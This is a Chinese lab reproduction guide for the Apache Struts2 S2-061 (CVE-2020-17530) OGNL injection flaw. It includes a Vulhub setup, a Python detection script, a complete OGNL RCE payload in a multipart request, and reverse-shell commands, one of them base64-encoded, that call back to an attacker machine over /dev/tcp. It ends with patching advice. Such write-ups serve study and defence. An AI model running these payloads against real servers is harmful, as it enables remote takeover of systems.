Struts2 S2-061 远程命令执行漏洞(CVE-2020-17530)复现
字数 1048 2025-08-11 00:08:50
Apache Struts2 S2-061 远程命令执行漏洞(CVE-2020-17530)分析与复现指南
漏洞概述
Apache Struts2框架是一个用于开发Java EE网络应用程序的Web框架。S2-061 (CVE-2020-17530)是一个远程代码执行漏洞,在使用某些tag等情况下可能存在OGNL表达式注入漏洞,从而造成远程代码执行,风险极大。该漏洞是对S2-059漏洞修复后的绕过。
影响版本:Apache Struts 2.0.0 - 2.5.25
环境搭建
使用Vulhub搭建漏洞环境
-
克隆Vulhub仓库:
git clone https://github.com/vulhub/vulhub.git -
进入对应环境目录:
cd vulhub/struts2/s2-061 -
启动Docker漏洞环境:
sudo docker-compose up -d -
访问对应地址(通常为
http://localhost:8080),出现欢迎页面表示环境搭建成功。
漏洞验证
初步验证
使用以下URL验证漏洞是否存在:
http://target/?id=%25{7*7}
检查返回的id值是7*7还是49:
- 如果返回
49,说明进行了二次表达式解析,存在该漏洞 - 如果返回
7*7,则可能不存在漏洞
详细验证POC
import requests
import argparse
import os
def url():
parser = argparse.ArgumentParser(description='S2-061 CVE-2020-17530')
parser.add_argument('target_url',type=str,help='The target address,example: http://192.168.52.128:8080')
args = parser.parse_args()
global url
url = args.target_url
if url.startswith('http://') or url.startswith('https://'):
pass
else:
print('请使用http://或者https://')
os._exit(0)
if url.endswith('/'):
url = url[:-1]
print("开始测试")
return url
def poc():
headers={
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100102 Firefox/107.0'
}
vul_url = url + '/?id=%25{7*7}'
try:
text = requests.get(vul_url,headers=headers,timeout=10).text
if '49' in text:
print('[漏洞存在]')
else:
print('[漏洞不存在]')
except:
print('[发生错误]')
if __name__ == '__main__':
url()
poc()
漏洞利用
基本命令执行
构造以下POST请求执行命令(示例中执行ls命令):
POST /.action HTTP/1.1
Host: 192.168.52.128:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=node0i3sptalo62q6kw46qu49oxwn1.node0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 833
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"
%{
(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).
(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).
(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).
(#bean.setBean(#stack)).
(#context=#bean.get("context")).
(#bean.setBean(#context)).
(#macc=#bean.get("memberAccess")).
(#bean.setBean(#macc)).
(#emptyset=#instancemanager.newInstance("java.util.HashSet")).
(#bean.put("excludedClasses",#emptyset)).
(#bean.put("excludedPackageNames",#emptyset)).
(#arglist=#instancemanager.newInstance("java.util.ArrayList")).
(#arglist.add("ls")).
(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).
(#execute.exec(#arglist))
}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
反弹Shell
-
在攻击机上监听端口:
nc -lvnp 3333 -
构造反弹Shell命令(需要先进行Base64编码):
bash -i >& /dev/tcp/192.168.52.130/3333 0>&1 -
Base64编码后的命令:
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUyLjEzMC8zMzMzIDA+JjE= -
构造最终Payload:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUyLjEzMC8zMzMzIDA+JjE=}|{base64,-d}|{bash,-i}
修复建议
-
升级版本:升级到 Struts 2.5.26 版本或更高版本
-
临时缓解措施:
- 限制OGNL表达式的解析
- 加强输入验证和过滤
- 使用Web应用防火墙(WAF)规则拦截恶意请求
-
长期安全措施:
- 定期更新所有框架和组件
- 实施最小权限原则
- 进行安全代码审计
技术原理
该漏洞是由于Struts2框架对OGNL表达式的不当处理导致的。攻击者可以通过构造恶意的OGNL表达式,绕过安全限制,最终实现远程代码执行。漏洞利用链涉及以下关键点:
- 通过
%{}语法注入OGNL表达式 - 利用
org.apache.tomcat.InstanceManager创建新实例 - 通过
BeanMap操作访问和修改关键对象 - 绕过
memberAccess安全检查 - 使用
freemarker.template.utility.Execute执行系统命令
总结
S2-061是一个高危的远程代码执行漏洞,攻击者可以利用此漏洞完全控制受影响系统。所有使用受影响版本Struts2框架的应用都应立即升级到安全版本。对于无法立即升级的系统,应采取严格的访问控制和输入过滤措施降低风险。